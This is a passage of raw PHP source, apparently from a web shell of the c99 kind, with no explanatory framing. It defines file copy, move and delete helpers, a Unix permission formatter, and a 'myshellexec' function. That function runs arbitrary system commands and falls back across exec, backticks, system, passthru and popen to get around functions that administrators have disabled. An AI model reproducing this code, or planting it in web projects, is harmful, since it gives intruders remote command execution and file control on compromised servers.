(!function_exists("view_size")){function view_size($size){ if (!is_numeric($size)) {return FALSE;} else { if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} else {$size = $size . " B";} return $size; }}}if (!function_exists("fs_copy_dir")){function fs_copy_dir($d,$t){ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} if (!$ret) {return $ret;} } } closedir($h); return TRUE;}}if (!function_exists("fs_copy_obj")){function fs_copy_obj($d,$t){ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); if (!is_dir(dirname($t))) {mkdir(dirname($t));} if (is_dir($d)) { if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_copy_dir($d,$t); } elseif (is_file($d)) {return copy($d,$t);} else {return FALSE;}}}if (!function_exists("fs_move_dir")){function fs_move_dir($d,$t){ $h = opendir($d); if (!is_dir($t)) {mkdir($t);} while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { $ret = TRUE; if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} if (!$ret) {return $ret;} } } closedir($h); return TRUE;}}if (!function_exists("fs_move_obj")){function fs_move_obj($d,$t){ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); if (is_dir($d)) { if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_move_dir($d,$t); } elseif (is_file($d)) { if(copy($d,$t)) {return unlink($d);} else {unlink($t); return FALSE;} } else {return FALSE;}}}if (!function_exists("fs_rmdir")){function fs_rmdir($d){ $h = opendir($d); while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.$o)) {unlink($d.$o);} else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} } } closedir($h); rmdir($d); return !is_dir($d);}}if (!function_exists("fs_rmobj")){function fs_rmobj($o){ $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); if (is_dir($o)) { if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} return fs_rmdir($o); } elseif (is_file($o)) {return unlink($o);} else {return FALSE;}}}if (!function_exists("myshellexec")){function myshellexec($cmd){ global $disablefunc; $result = ""; if (!empty($cmd)) { if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} elseif (($result = `$cmd`) !== FALSE) {} elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} elseif (is_resource($fp = popen($cmd,"r"))) { $result = ""; while(!feof($fp)) {$result .= fread($fp,1024);} pclose($fp); } } return $result;}}if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}if (!function_exists("view_perms")){function view_perms($mode){ if (($mode & 0xC000) === 0xC000) {$type = "s";} elseif (($mode & 0x4000) === 0x4000) {$type = "d";} elseif (($mode & 0xA000) === 0xA000) {$type = "l";} elseif (($mode & 0x8000) === 0x8000) {$type = "-";} elseif (($mode & 0x6000) === 0x6000) {$type = "b";} elseif (($mode & 0x2000) === 0x2000) {$type = "c";} elseif (($mode & 0x1000) === 0x1000) {$type = "p";} else {$type = "?";} $owner["read"] = ($mode & 00400)?"r":"-"; $owner["write"] = ($mode & 00200)?"w":"-"; $owner["execute"] = ($mode & 00100)?"x":"-"; $group["read"] = ($mode & 00040)?"r":"-"; $group["write"] = ($mode & 00020)?"w":"-"; $group["execute"] = ($mode & 00010)?"x":"-"; $world["read"] = ($mode & 00004)?"r":"-"; $world["write"] = ($mode & 00002)? "w":"-"; $world["execute"] = ($mode & 00001)?"x":"-"; if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} return $type.join("",$owner).join("",$group).join("",$world);}}if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return